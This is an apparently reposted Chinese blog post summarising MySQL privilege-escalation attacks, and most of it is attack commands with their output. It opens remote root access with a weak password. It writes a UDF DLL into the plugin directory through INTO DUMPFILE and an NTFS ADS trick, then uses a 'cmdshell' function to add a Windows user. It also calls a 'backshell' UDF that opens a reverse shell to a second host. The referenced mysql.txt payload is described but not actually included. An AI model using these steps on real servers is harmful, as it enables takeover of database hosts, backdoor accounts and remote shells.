Mysql提权总结

Posted 专注于网络安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Mysql提权总结相关的知识,希望对你有一定的参考价值。

mysql默认状态下是不开放对外访问功能的

1、如何设置才能允许外网访问MySQL

使用“mysql -uroot -proot”命令可以连接到本地的mysql服务;

使用“use mysql”命令,选择要使用的数据库,修改远程连接的基本信息,保存在mysql数据库中,因此使用mysql数据库;

使用“GRANT ALL PRIVILEGES ON *.* TO \'root\'@\'%\' IDENTIFIED BY \'root\' WITH GRANT OPTION;”命令可以更改远程连接的设置;

使用“flush privileges;”命令刷新刚才修改的权限,使其生效;

使用“select host,user from user;”查看修改是否成功

2、phpmyadmin 连入提权

select @@basedir;  //Mysql安装目录

C:/phpStudy/MySQL/

CREATE TABLE udftest(udf BLOB);

INSERT into udftest values (CONVERT(,CHAR));CONVERT(这里换成你的UDF的HEX编码,CHAR));

SELECT udf FROM udftest INTO DUMPFILE \'C:\\\\phpStudy\\\\MySQL\\\\lib\\\\plugin\\\\udf.dll\';-- 

select \'It is dll\' into dumpfile \'C:\\\\phpStudy\\\\MySQL\\\\lib\\\\plugin::$INDEX_ALLOCATION\'; 

DROP TABLE udftest;

create function cmdshell returns string soname \'udf.dll\'
select cmdshell(\'net user xiaozi xiaozi /add\');

参考链接: phpmyadmin直接提权 http://www.hack80.com/forum.php?mod=viewthread&tid=1304

             通过phpmyadmin各种技巧拿webshell  https://www.exehack.net/99.html

 

3、mysql弱口令(反弹端口连接提权)

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

实验环境:phpStudy 默认安装的mysql数据库 5.5.40版本

C:\\APMServ5\\APMServ5.2.6\\MySQL5.1\\bin>mysql.exe -h 192.168.106.141 -u root -p
Enter password: ****
Welcome to the MySQL monitor.  Commands end with ; or \\g.
Your MySQL connection id is 11
Server version: 5.5.40 MySQL Community Server (GPL)

Type \'help;\' or \'\\h\' for help. Type \'\\c\' to clear the buffer.

mysql> \\. c:\\mysql.txt
Database changed
Query OK, 0 rows affected (0.02 sec)

Query OK, 0 rows affected (0.06 sec)

Query OK, 1 row affected (0.01 sec)

Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

Query OK, 1 row affected (0.00 sec)

Query OK, 0 rows affected (0.09 sec)

+-------------------------------------------------------+
| backshell(\'\')                                         |
+-------------------------------------------------------+
| 反弹shell.
例:select backshell("your IP",your port); |
+-------------------------------------------------------+
1 row in set (0.00 sec)


mysql> select backshell("192.168.106.137",2010);
+-----------------------------------+
| backshell("192.168.106.137",2010) |
+-----------------------------------+
| 执行成功
                        |
+-----------------------------------+
1 row in set (0.02 sec)


mysql> select backshell("192.168.106.137",2010);
+-----------------------------------------+
| backshell("192.168.106.137",2010)       |
+-----------------------------------------+
| 创建临时文件出错,backshell无法继续运行. |
+-----------------------------------------+
1 row in set (0.02 sec)

mysql> select @@version
    -> ;
+-----------+
| @@version |
+-----------+
| 5.5.40    |
+-----------+
1 row in set (0.00 sec)

mysql>

 

mysql.txt:

复制以上内容保存为mysql.txt即可。

 

参考文章:

mysql利用ntfs的ADS创建文件夹  http://blog.csdn.net/yiyefangzhou24/article/details/17190135

MYSQL提权总结   http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390

 

以上是关于Mysql提权总结的主要内容,如果未能解决你的问题,请参考以下文章

mysql提权总结

提权基础-----mysql-udf提权

web安全:mysql提权总结篇

数据库注入提权总结

MySQL_UDF提权

MYSQL提权方法